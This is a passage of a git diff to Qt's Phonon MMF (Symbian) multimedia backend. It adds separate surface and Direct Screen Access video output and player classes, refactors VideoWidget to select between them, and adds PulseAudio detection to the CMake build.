+++ b/src/3rdparty/phonon/mmf/videooutput_surface.cpp
@@ -0,0 +1,87 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include <QResizeEvent>
+
+#include <QtCore/private/qcore_symbian_p.h> // for qt_TRect2QRect
+#include <QtGui/private/qwidget_p.h> // to access QWExtra
+
+#include "utils.h"
+#include "videooutput_surface.h"
+
+QT_BEGIN_NAMESPACE
+
+using namespace Phonon;
+using namespace Phonon::MMF;
+
+SurfaceVideoOutput::SurfaceVideoOutput(QWidget *parent)
+    :   AbstractVideoOutput(parent)
+{
+    TRACE_CONTEXT(SurfaceVideoOutput::SurfaceVideoOutput, EVideoInternal);
+    TRACE_ENTRY("parent 0x%08x", parent);
+
+    qt_widget_private(this)->createExtra();
+    qt_widget_private(this)->extraData()->nativePaintMode = QWExtra::Disable;
+
+    TRACE_EXIT_0();
+}
+
+SurfaceVideoOutput::~SurfaceVideoOutput()
+{
+    TRACE_CONTEXT(SurfaceVideoOutput::~SurfaceVideoOutput, EVideoInternal);
+    TRACE_ENTRY_0();
+
+    TRACE_EXIT_0();
+}
+
+//-----------------------------------------------------------------------------
+// Public functions
+//-----------------------------------------------------------------------------
+
+
+//-----------------------------------------------------------------------------
+// Private functions
+//-----------------------------------------------------------------------------
+
+void MMF::SurfaceVideoOutput::resizeEvent(QResizeEvent *event)
+{
+    TRACE_CONTEXT(SurfaceVideoOutput::resizeEvent, EVideoInternal);
+    TRACE("%d %d -> %d %d",
+          event->oldSize().width(), event->oldSize().height(),
+          event->size().width(), event->size().height());
+
+    if (event->size() != event->oldSize())
+        emit videoWindowSizeChanged();
+}
+
+bool MMF::SurfaceVideoOutput::event(QEvent *event)
+{
+    TRACE_CONTEXT(SurfaceVideoOutput::event, EVideoInternal);
+
+    if (event->type() == QEvent::WinIdChange) {
+        TRACE_0("WinIdChange");
+        emit videoWindowChanged();
+        return true;
+    } else {
+        return QWidget::event(event);
+    }
+}
+
+
+QT_END_NAMESPACE
+
diff --git a/src/3rdparty/phonon/mmf/videooutput_surface.h b/src/3rdparty/phonon/mmf/videooutput_surface.h
new file mode 100644
index 0000000..0b22a710
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/videooutput_surface.h
@@ -0,0 +1,66 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef PHONON_MMF_VIDEOOUTPUT_SURFACE_H
+#define PHONON_MMF_VIDEOOUTPUT_SURFACE_H
+
+#include "phonon/mmf/abstractvideooutput.h"
+
+QT_BEGIN_NAMESPACE
+
+class QResizeEvent;
+
+namespace Phonon
+{
+namespace MMF
+{
+
+/**
+ * @short Widget on which video is displayed by rendering to a surface
+ *
+ * This implementation is used on devices with a graphics subsystem which
+ * supports surfaces.
+ *
+ * @see DsaVideoOutput
+ */
+class SurfaceVideoOutput
+    :   public AbstractVideoOutput
+{
+    Q_OBJECT
+
+public:
+    SurfaceVideoOutput(QWidget *parent);
+    ~SurfaceVideoOutput();
+
+Q_SIGNALS:
+    void videoWindowSizeChanged();
+
+private:
+    // QWidget
+    void resizeEvent(QResizeEvent *event);
+    bool event(QEvent *event);
+
+};
+
+}
+}
+
+QT_END_NAMESPACE
+
+#endif // !PHONON_MMF_VIDEOOUTPUT_SURFACE_H
+
diff --git a/src/3rdparty/phonon/mmf/videoplayer_dsa.cpp b/src/3rdparty/phonon/mmf/videoplayer_dsa.cpp
new file mode 100644
index 0000000..1925471
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/videoplayer_dsa.cpp
@@ -0,0 +1,314 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include <coecntrl.h> // for CCoeControl
+
+#include <QApplication>    // for QApplication::activeWindow
+#include <QtCore/private/qcore_symbian_p.h> // for qt_TRect2QRect
+
+#include "utils.h"
+#include "videooutput_dsa.h"
+#include "videoplayer_dsa.h"
+
+QT_BEGIN_NAMESPACE
+
+using namespace Phonon;
+using namespace Phonon::MMF;
+
+// Two-phase constructor idiom is used because construct() calls virtual
+// functions and therefore cannot be called from the AbstractVideoPlayer
+// C++ constructor.
+DsaVideoPlayer* DsaVideoPlayer::create(MediaObject *parent,
+                                       const AbstractPlayer *player)
+{
+    QScopedPointer<DsaVideoPlayer> self(new DsaVideoPlayer(parent, player));
+    self->construct();
+    return self.take();
+}
+
+DsaVideoPlayer::DsaVideoPlayer(MediaObject *parent, const AbstractPlayer *player)
+    :   AbstractVideoPlayer(parent, player)
+    ,   m_dsaActive(false)
+    ,   m_dsaWasActive(false)
+{
+
+}
+
+DsaVideoPlayer::~DsaVideoPlayer()
+{
+
+}
+
+
+//-----------------------------------------------------------------------------
+// Public functions
+//-----------------------------------------------------------------------------
+
+void MMF::DsaVideoPlayer::videoWindowScreenRectChanged()
+{
+    QRect windowRect = static_cast<DsaVideoOutput *>(m_videoOutput)->videoWindowScreenRect();
+
+    // Clip to physical window size
+    // This is due to a defect in the layout when running on S60 3.2, which
+    // results in the rectangle of the video widget extending outside the
+    // screen in certain circumstances.  These include the initial startup
+    // of the mediaplayer demo in portrait mode.  When this rectangle is
+    // passed to the CVideoPlayerUtility, no video is rendered.
+    const TSize screenSize = m_screenDevice.SizeInPixels();
+    const QRect screenRect(0, 0, screenSize.iWidth, screenSize.iHeight);
+    windowRect = windowRect.intersected(screenRect);
+
+    // Recalculate scale factors.  Pass 'false' as second parameter in order to
+    // suppress application of the change to the player - this is done at the end
+    // of the function.
+    updateScaleFactors(windowRect.size(), false);
+
+    m_videoScreenRect = qt_QRect2TRect(windowRect);
+
+    parametersChanged(WindowScreenRect | ScaleFactors);
+}
+
+void MMF::DsaVideoPlayer::suspendDirectScreenAccess()
+{
+    m_dsaWasActive = stopDirectScreenAccess();
+}
+
+void MMF::DsaVideoPlayer::resumeDirectScreenAccess()
+{
+    if (m_dsaWasActive) {
+        startDirectScreenAccess();
+        m_dsaWasActive = false;
+    }
+}
+
+
+//-----------------------------------------------------------------------------
+// Private functions
+//-----------------------------------------------------------------------------
+
+void MMF::DsaVideoPlayer::createPlayer()
+{
+    // A window handle must be provided in order to construct
+    // CVideoPlayerUtility.  If no VideoOutput has yet been connected to this
+    // player, we temporarily use the top-level application window handle.
+    // No video ever gets rendered into this window; SetDisplayWindowL is
+    // always called before rendering actually begins.
+    if (!m_window)
+        m_window = QApplication::activeWindow()->effectiveWinId()->DrawableWindow();
+
+    const TInt priority = 0;
+    const TMdaPriorityPreference preference = EMdaPriorityPreferenceNone;
+
+    CVideoPlayerUtility *player = 0;
+    QT_TRAP_THROWING(player = CVideoPlayerUtility::NewL(*this,
+                                     priority, preference,
+                                     m_wsSession, m_screenDevice,
+                                     *m_window,
+                                     m_videoScreenRect, m_videoScreenRect));
+    m_player.reset(player);
+
+    // CVideoPlayerUtility::NewL starts DSA
+    m_dsaActive = true;
+
+    m_player->RegisterForVideoLoadingNotification(*this);
+}
+
+void MMF::DsaVideoPlayer::initVideoOutput()
+{
+    bool connected = connect(
+        m_videoOutput, SIGNAL(videoWindowScreenRectChanged()),
+        this, SLOT(videoWindowScreenRectChanged())
+    );
+    Q_ASSERT(connected);
+
+    connected = connect(
+        m_videoOutput, SIGNAL(beginVideoWindowNativePaint()),
+        this, SLOT(suspendDirectScreenAccess())
+    );
+    Q_ASSERT(connected);
+
+    connected = connect(
+        m_videoOutput, SIGNAL(endVideoWindowNativePaint()),
+        this, SLOT(resumeDirectScreenAccess())
+    );
+    Q_ASSERT(connected);
+
+    // Suppress warnings in release builds
+    Q_UNUSED(connected);
+
+    AbstractVideoPlayer::initVideoOutput();
+}
+
+void MMF::DsaVideoPlayer::prepareCompleted()
+{
+    videoWindowScreenRectChanged();
+}
+
+void MMF::DsaVideoPlayer::handleVideoWindowChanged()
+{
+    if (!m_window) {
+        if (QWidget *window = QApplication::activeWindow())
+            m_window = window->effectiveWinId()->DrawableWindow();
+        else
+            m_window = 0;
+        m_videoScreenRect = TRect();
+    }
+
+    parametersChanged(WindowHandle | WindowScreenRect);
+}
+
+#ifndef QT_NO_DEBUG
+
+// The following code is for debugging problems related to video visibility.  It allows
+// the VideoPlayer instance to query the window server in order to determine the
+// DSA drawing region for the video window.
+
+class CDummyAO : public CActive
+{
+public:
+    CDummyAO() : CActive(CActive::EPriorityStandard) { CActiveScheduler::Add(this); }
+    void RunL() { }
+    void DoCancel() { }
+    TRequestStatus& Status() { return iStatus; }
+    void SetActive() { CActive::SetActive(); }
+};
+
+void getDsaRegion(RWsSession &session, const RWindowBase &window)
+{
+    // Dump complete window tree
+    session.LogCommand(RWsSession::ELoggingStatusDump);
+
+    RDirectScreenAccess dsa(session);
+    TInt err = dsa.Construct();
+    CDummyAO ao;
+    RRegion* region;
+    err = dsa.Request(region, ao.Status(), window);
+    ao.SetActive();
+    dsa.Close();
+    ao.Cancel();
+    if (region) {
+        qDebug() << "Phonon::MMF::getDsaRegion count" << region->Count();
+        for (int i=0; i<region->Count(); ++i) {
+            const TRect& rect = region->RectangleList()[i];
+            qDebug() << "Phonon::MMF::getDsaRegion rect"
+                << rect.iTl.iX << rect.iTl.iY << rect.iBr.iX << rect.iBr.iY;
+        }
+        region->Close();
+    }
+}
+
+#endif // QT_NO_DEBUG
+
+void MMF::DsaVideoPlayer::handleParametersChanged(VideoParameters parameters)
+{
+    TRACE_CONTEXT(DsaVideoPlayer::handleParametersChanged, EVideoInternal);
+    TRACE_ENTRY("parameters 0x%x", parameters.operator int());
+
+    if (!m_window)
+        return;
+
+#ifndef QT_NO_DEBUG
+    getDsaRegion(m_wsSession, *m_window);
+#endif
+
+    if (m_player) {
+        static const TBool antialias = ETrue;
+        int err = KErrNone;
+
+        if (parameters & ScaleFactors) {
+            TRAP(err, m_player->SetScaleFactorL(m_scaleWidth, m_scaleHeight,
+                                                antialias));
+            if(KErrNone != err) {
+                TRACE("SetScaleFactorL (1) err %d", err);
+                setError(tr("Video display error"), err);
+            }
+        }
+
+        if (KErrNone == err) {
+            if (parameters & WindowHandle || parameters & WindowScreenRect) {
+                TRAP(err,
+                    m_player->SetDisplayWindowL(m_wsSession, m_screenDevice,
+                                                *m_window,
+                                                m_videoScreenRect,
+                                                m_videoScreenRect));
+            }
+
+            if (KErrNone != err) {
+                TRACE("SetDisplayWindowL err %d", err);
+                setError(tr("Video display error"), err);
+            } else {
+                m_dsaActive = true;
+                if (parameters & ScaleFactors) {
+                    TRAP(err, m_player->SetScaleFactorL(m_scaleWidth, m_scaleHeight,
+                                                        antialias));
+                    if (KErrNone != err) {
+                        TRACE("SetScaleFactorL (2) err %d", err);
+                        setError(tr("Video display error"), err);
+                    }
+                }
+            }
+        }
+    }
+
+    TRACE_EXIT_0();
+}
+
+void MMF::DsaVideoPlayer::startDirectScreenAccess()
+{
+    TRACE_CONTEXT(DsaVideoPlayer::startDirectScreenAccess, EVideoInternal);
+    TRACE_ENTRY("dsaActive %d", m_dsaActive);
+
+    int err = KErrNone;
+
+    if (!m_dsaActive) {
+        TRAP(err, m_player->StartDirectScreenAccessL());
+        if (KErrNone == err)
+            m_dsaActive = true;
+        else
+            setError(tr("Video display error"), err);
+    }
+
+    if (m_videoOutput)
+        m_videoOutput->dump();
+
+    TRACE_EXIT("error %d", err);
+}
+
+bool MMF::DsaVideoPlayer::stopDirectScreenAccess()
+{
+    TRACE_CONTEXT(DsaVideoPlayer::stopDirectScreenAccess, EVideoInternal);
+    TRACE_ENTRY("dsaActive %d", m_dsaActive);
+
+    int err = KErrNone;
+
+    const bool dsaWasActive = m_dsaActive;
+    if (m_dsaActive) {
+        TRAP(err, m_player->StopDirectScreenAccessL());
+        if (KErrNone == err)
+            m_dsaActive = false;
+        else
+            setError(tr("Video display error"), err);
+    }
+
+    TRACE_EXIT("error %d", err);
+
+    return dsaWasActive;
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/3rdparty/phonon/mmf/videoplayer_dsa.h b/src/3rdparty/phonon/mmf/videoplayer_dsa.h
new file mode 100644
index 0000000..45cc47d
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/videoplayer_dsa.h
@@ -0,0 +1,92 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef PHONON_MMF_VIDEOPLAYER_DSA_H
+#define PHONON_MMF_VIDEOPLAYER_DSA_H
+
+#include "abstractvideoplayer.h"
+
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+namespace MMF
+{
+
+/**
+ * @short Wrapper over the MMF video player utility (DSA version)
+ *
+ * This implementation is used on devices with the legacy graphics
+ * subsystem, which does not support surfaces.  On such devices,
+ * video rendering is done via Direct Screen Access (DSA), whereby
+ * the video decoder writes directly to the framebuffer.  To ensure
+ * that the window server and video decoder do not try to draw to
+ * the same screen region at the same time, the video subsystem
+ * first requests permission to perform DSA.  If the window server
+ * needs to draw to this screen region (for example to display a
+ * message dialog), it first notifies the video subsystem that it
+ * must stop rendering to this region.
+ *
+ * @see SurfaceVideoPlayer
+ */
+class DsaVideoPlayer
+    :   public AbstractVideoPlayer
+{
+    Q_OBJECT
+
+public:
+    // Factory function
+    static DsaVideoPlayer* create(MediaObject *parent = 0,
+                                  const AbstractPlayer *player = 0);
+    ~DsaVideoPlayer();
+
+public Q_SLOTS:
+    void videoWindowScreenRectChanged();
+    void suspendDirectScreenAccess();
+    void resumeDirectScreenAccess();
+
+private:
+    DsaVideoPlayer(MediaObject *parent, const AbstractPlayer *player);
+
+    // AbstractVideoPlayer
+    void createPlayer();
+    void initVideoOutput();
+    void prepareCompleted();
+    void handleVideoWindowChanged();
+    void handleParametersChanged(VideoParameters parameters);
+
+    void startDirectScreenAccess();
+    bool stopDirectScreenAccess();
+
+private:
+    bool                m_dsaActive;
+    bool                m_dsaWasActive;
+
+    // Absolute screen rectangle on which video is displayed
+    TRect               m_videoScreenRect;
+
+};
+
+}
+}
+
+QT_END_NAMESPACE
+
+#endif // !PHONON_MMF_VIDEOPLAYER_DSA_H
+
+
diff --git a/src/3rdparty/phonon/mmf/videoplayer_surface.cpp b/src/3rdparty/phonon/mmf/videoplayer_surface.cpp
new file mode 100644
index 0000000..fda7342
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/videoplayer_surface.cpp
@@ -0,0 +1,149 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#include <videoplayer2.h>
+
+#include <QtCore/private/qcore_symbian_p.h> // for qt_QRect2TRect
+
+#include "utils.h"
+#include "videooutput_surface.h"
+#include "videoplayer_surface.h"
+
+QT_BEGIN_NAMESPACE
+
+using namespace Phonon;
+using namespace Phonon::MMF;
+
+// Two-phase constructor idiom is used because construct() calls virtual
+// functions and therefore cannot be called from the AbstractVideoPlayer
+// C++ constructor.
+SurfaceVideoPlayer* SurfaceVideoPlayer::create(MediaObject *parent,
+                                       const AbstractPlayer *player)
+{
+    QScopedPointer<SurfaceVideoPlayer> self(new SurfaceVideoPlayer(parent, player));
+    self->construct();
+    return self.take();
+}
+
+SurfaceVideoPlayer::SurfaceVideoPlayer(MediaObject *parent, const AbstractPlayer *player)
+    :   AbstractVideoPlayer(parent, player)
+    ,   m_displayWindow(0)
+{
+
+}
+
+SurfaceVideoPlayer::~SurfaceVideoPlayer()
+{
+
+}
+
+
+//-----------------------------------------------------------------------------
+// Public functions
+//-----------------------------------------------------------------------------
+
+void MMF::SurfaceVideoPlayer::videoWindowSizeChanged()
+{
+    updateScaleFactors(m_videoOutput->videoWindowSize());
+}
+
+
+//-----------------------------------------------------------------------------
+// Private functions
+//-----------------------------------------------------------------------------
+
+void MMF::SurfaceVideoPlayer::createPlayer()
+{
+    const TInt priority = 0;
+    const TMdaPriorityPreference preference = EMdaPriorityPreferenceNone;
+
+    CVideoPlayerUtility2 *player = 0;
+    QT_TRAP_THROWING(player = CVideoPlayerUtility2::NewL(*this,
+                                         priority, preference));
+    m_player.reset(player);
+}
+
+void MMF::SurfaceVideoPlayer::initVideoOutput()
+{
+    bool connected = connect(
+        m_videoOutput, SIGNAL(videoWindowSizeChanged()),
+        this, SLOT(videoWindowSizeChanged())
+    );
+    Q_ASSERT(connected);
+
+    // Suppress warnings in release builds
+    Q_UNUSED(connected);
+
+    AbstractVideoPlayer::initVideoOutput();
+}
+
+void MMF::SurfaceVideoPlayer::prepareCompleted()
+{
+    videoWindowSizeChanged();
+}
+
+void MMF::SurfaceVideoPlayer::handleVideoWindowChanged()
+{
+    parametersChanged(WindowHandle);
+}
+
+void MMF::SurfaceVideoPlayer::handleParametersChanged(VideoParameters parameters)
+{
+    TRect rect;
+    if (m_videoOutput) {
+        m_videoOutput->dump();
+        const QSize size = m_videoOutput->videoWindowSize();
+        rect.SetSize(TSize(size.width(), size.height()));
+    }
+
+    CVideoPlayerUtility2 *player = static_cast<CVideoPlayerUtility2 *>(m_player.data());
+    if (player) {
+        int err = KErrNone;
+        if (parameters & WindowHandle) {
+            if (m_displayWindow)
+                player->RemoveDisplayWindow(*m_displayWindow);
+
+            RWindow *window = static_cast<RWindow *>(m_window);
+            if (window) {
+                window->SetBackgroundColor(TRgb(0, 0, 0, 255));
+                TRAP(err, player->AddDisplayWindowL(m_wsSession, m_screenDevice, *window, rect, rect));
+                if (KErrNone != err) {
+                    setError(tr("Video display error"), err);
+                    window = 0;
+                }
+            }
+            m_displayWindow = window;
+        }
+
+        if (KErrNone == err) {
+            if (parameters & ScaleFactors) {
+                Q_ASSERT(m_displayWindow);
+                TRAP(err, player->SetVideoExtentL(*m_displayWindow, rect));
+                if (KErrNone == err)
+                    TRAP(err, player->SetWindowClipRectL(*m_displayWindow, rect));
+                if (KErrNone == err)
+                    TRAP(err, player->SetScaleFactorL(*m_displayWindow, m_scaleWidth, m_scaleHeight));
+                if (KErrNone != err)
+                    setError(tr("Video display error"), err);
+            }
+        }
+    }
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/3rdparty/phonon/mmf/videoplayer_surface.h b/src/3rdparty/phonon/mmf/videoplayer_surface.h
new file mode 100644
index 0000000..c05da9c
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/videoplayer_surface.h
@@ -0,0 +1,78 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef PHONON_MMF_VIDEOPLAYER_SURFACE_H
+#define PHONON_MMF_VIDEOPLAYER_SURFACE_H
+
+#include "abstractvideoplayer.h"
+
+class RWindow;
+
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+namespace MMF
+{
+
+/**
+ * @short Wrapper over the MMF video player utility (surface version)
+ *
+ * This implementation is used on devices with a graphics subsystem which
+ * supports surfaces.
+ *
+ * @see DsaVideoPlayer
+ */
+class SurfaceVideoPlayer
+    :   public AbstractVideoPlayer
+{
+    Q_OBJECT
+
+public:
+    // Factory function
+    static SurfaceVideoPlayer* create(MediaObject *parent = 0,
+                                  const AbstractPlayer *player = 0);
+    ~SurfaceVideoPlayer();
+
+public Q_SLOTS:
+    void videoWindowSizeChanged();
+
+private:
+    SurfaceVideoPlayer(MediaObject *parent, const AbstractPlayer *player);
+
+    // AbstractVideoPlayer
+    void createPlayer();
+    void initVideoOutput();
+    void prepareCompleted();
+    void handleVideoWindowChanged();
+    void handleParametersChanged(VideoParameters parameters);
+
+private:
+    // Window handle which has been passed to the MMF via
+    // CVideoPlayerUtility2::SetDisplayWindowL
+    RWindow*    m_displayWindow;
+
+};
+
+}
+}
+
+QT_END_NAMESPACE
+
+#endif // !PHONON_MMF_VIDEOPLAYER_SURFACE_H
+
diff --git a/src/3rdparty/phonon/mmf/videowidget.cpp b/src/3rdparty/phonon/mmf/videowidget.cpp
index bc9acfd..122094e 100644
--- a/src/3rdparty/phonon/mmf/videowidget.cpp
+++ b/src/3rdparty/phonon/mmf/videowidget.cpp
@@ -18,10 +18,15 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 
 #include "mediaobject.h"
 #include "utils.h"
-#include "videooutput.h"
 
 #include "videowidget.h"
 
+#ifdef PHONON_MMF_VIDEO_SURFACES
+#include "videooutput_surface.h"
+#else
+#include "videooutput_dsa.h"
+#endif
+
 QT_BEGIN_NAMESPACE
 
 using namespace Phonon;
@@ -45,10 +50,13 @@ static const qreal DefaultSaturation = 1.0;
 // Constructor / destructor
 //-----------------------------------------------------------------------------
 
-MMF::VideoWidget::VideoWidget
-    (AncestorMoveMonitor* ancestorMoveMonitor, QWidget* parent)
+MMF::VideoWidget::VideoWidget(QWidget *parent)
         :   MediaNode(parent)
-        ,   m_videoOutput(new VideoOutput(ancestorMoveMonitor, parent))
+#ifdef PHONON_MMF_VIDEO_SURFACES
+        ,   m_videoOutput(new SurfaceVideoOutput(parent))
+#else
+        ,   m_videoOutput(new DsaVideoOutput(parent))
+#endif
         ,   m_brightness(DefaultBrightness)
         ,   m_contrast(DefaultContrast)
         ,   m_hue(DefaultHue)
@@ -68,6 +76,13 @@ MMF::VideoWidget::~VideoWidget()
     TRACE_EXIT_0();
 }
 
+#ifndef PHONON_MMF_VIDEO_SURFACES
+void MMF::VideoWidget::setAncestorMoveMonitor(AncestorMoveMonitor *monitor)
+{
+    static_cast<DsaVideoOutput *>(m_videoOutput.data())->setAncestorMoveMonitor(monitor);
+}
+#endif
+
 
 //-----------------------------------------------------------------------------
 // VideoWidgetInterface
@@ -108,7 +123,7 @@ Phonon::VideoWidget::ScaleMode MMF::VideoWidget::scaleMode() const
 void MMF::VideoWidget::setScaleMode(Phonon::VideoWidget::ScaleMode scaleMode)
 {
     TRACE_CONTEXT(VideoWidget::setScaleMode, EVideoApi);
-    TRACE("setScaleMode %d", setScaleMode);
+    TRACE("setScaleMode %d", scaleMode);
 
     m_videoOutput->setScaleMode(scaleMode);
 }
diff --git a/src/3rdparty/phonon/mmf/videowidget.h b/src/3rdparty/phonon/mmf/videowidget.h
index 899dca6..3b6283e 100644
--- a/src/3rdparty/phonon/mmf/videowidget.h
+++ b/src/3rdparty/phonon/mmf/videowidget.h
@@ -19,8 +19,8 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 #ifndef PHONON_MMF_VIDEOWIDGET_H
 #define PHONON_MMF_VIDEOWIDGET_H
 
+#include "abstractvideooutput.h"
 #include "mmf_medianode.h"
-#include "videooutput.h"
 
 #include <QtGui/QWidget>
 #include <phonon/videowidget.h>
@@ -32,8 +32,9 @@ namespace Phonon
 {
 namespace MMF
 {
+#ifndef PHONON_MMF_VIDEO_SURFACES
 class AncestorMoveMonitor;
-class VideoOutput;
+#endif
 
 class VideoWidget       :   public MediaNode
                         ,   public Phonon::VideoWidgetInterface
@@ -42,9 +43,13 @@ class VideoWidget       :   public MediaNode
     Q_INTERFACES(Phonon::VideoWidgetInterface)
 
 public:
-    VideoWidget(AncestorMoveMonitor* ancestorMoveMonitor, QWidget* parent);
+    VideoWidget(QWidget* parent);
     ~VideoWidget();
 
+#ifndef PHONON_MMF_VIDEO_SURFACES
+    void setAncestorMoveMonitor(AncestorMoveMonitor *ancestorMoveMonitor);
+#endif
+
     // VideoWidgetInterface
     virtual Phonon::VideoWidget::AspectRatio aspectRatio() const;
     virtual void setAspectRatio(Phonon::VideoWidget::AspectRatio aspectRatio);
@@ -66,7 +71,7 @@ protected:
     void disconnectMediaObject(MediaObject *mediaObject);
 
 private:
-    QScopedPointer<VideoOutput>             m_videoOutput;
+    QScopedPointer<AbstractVideoOutput>     m_videoOutput;
 
     qreal                                   m_brightness;
     qreal                                   m_contrast;
diff --git a/src/3rdparty/phonon/phonon/CMakeLists.txt b/src/3rdparty/phonon/phonon/CMakeLists.txt
index 11d7913..ace934a 100644
--- a/src/3rdparty/phonon/phonon/CMakeLists.txt
+++ b/src/3rdparty/phonon/phonon/CMakeLists.txt
@@ -8,6 +8,30 @@ endif (PHONON_BUILD_EXAMPLES)
 
 add_subdirectory(experimental)
 
+set(PULSEAUDIO_MINIMUM_VERSION "0.9.15")
+macro_optional_find_package(PulseAudio)
+if (PULSEAUDIO_FOUND)
+    # PULSEAUDIO_DEVICE_MANAGER feature check could be moved to FindPulseAudio.cmake, hint hint. -- Rex
+    macro_ensure_version("0.9.21" "${PULSEAUDIO_VERSION}" PULSEAUDIO_DEVICE_MANAGER)
+endif (PULSEAUDIO_FOUND)
+macro_log_feature(PULSEAUDIO_FOUND "PulseAudio" "A cross-platform, networked sound server." "http://www.pulseaudio.org" FALSE "" "Allows audio playback via the PulseAudio soundserver when it is running")
+macro_optional_find_package(GLIB2)
+macro_log_feature(GLIB2_FOUND "GLib2" "GLib 2 is required to compile the pulseaudio for Phonon" "http://www.gtk.org/download/" FALSE)
+
+
+if (GLIB2_FOUND AND PULSEAUDIO_FOUND)
+   add_definitions(-DHAVE_PULSEAUDIO)
+   include_directories(${GLIB2_INCLUDE_DIR} ${PULSEAUDIO_INCLUDE_DIR})
+   if (PULSEAUDIO_DEVICE_MANAGER)
+      add_definitions(-DHAVE_PULSEAUDIO_DEVICE_MANAGER)
+   endif(PULSEAUDIO_DEVICE_MANAGER)
+else(GLIB2_FOUND AND PULSEAUDIO_FOUND)
+   set(PULSEAUDIO_INCLUDE_DIR "")
+   set(PULSEAUDIO_LIBRARY "")
+   set(PULSEAUDIO_MAINLOOP_LIBRARY "")
+endif(GLIB2_FOUND AND PULSEAUDIO_FOUND)
+
+
 set(phonon_LIB_SRCS
    objectdescription.cpp
    objectdescriptionmodel.cpp
@@ -35,9 +59,12 @@ set(phonon_LIB_SRCS
    videowidget.cpp
    videoplayer.cpp
    seekslider.cpp
+   swiftslider.cpp
    volumeslider.cpp
    effectwidget.cpp
    iodevicestream.cpp
+   audiodataoutput.cpp
+   pulsesupport.cpp
    )
 
 if (QT_QTDBUS_FOUND)
@@ -50,6 +77,10 @@ endif (QT_QTDBUS_FOUND)
 add_definitions(-DPHONON_LIBRARY_PATH="${PLUGIN_INSTALL_DIR}/plugins")
 automoc4_add_library(phonon SHARED ${phonon_LIB_SRCS})
 target_link_libraries(phonon ${QT_QTCORE_LIBRARY} ${QT_QTGUI_LIBRARY})
+if (GLIB2_FOUND AND PULSEAUDIO_FOUND)
+target_link_libraries(phonon ${GLIB2_LIBRARIES} ${GOBJECT_LIBRARIES} ${PULSEAUDIO_LIBRARY} ${PULSEAUDIO_MAINLOOP_LIBRARY})
+endif (GLIB2_FOUND AND PULSEAUDIO_FOUND)
+
 if (QT_QTDBUS_FOUND)
   target_link_libraries(phonon ${QT_QTDBUS_LIBRARY})
 endif (QT_QTDBUS_FOUND)
@@ -99,6 +130,10 @@ install(FILES
    volumeslider.h
    effectwidget.h
    platformplugin.h
+   audiodataoutput.h
+   audiodataoutputinterface.h
+   globalconfig.h
+   pulsesupport.h
    DESTINATION ${INCLUDE_INSTALL_DIR}/phonon COMPONENT Devel)
 
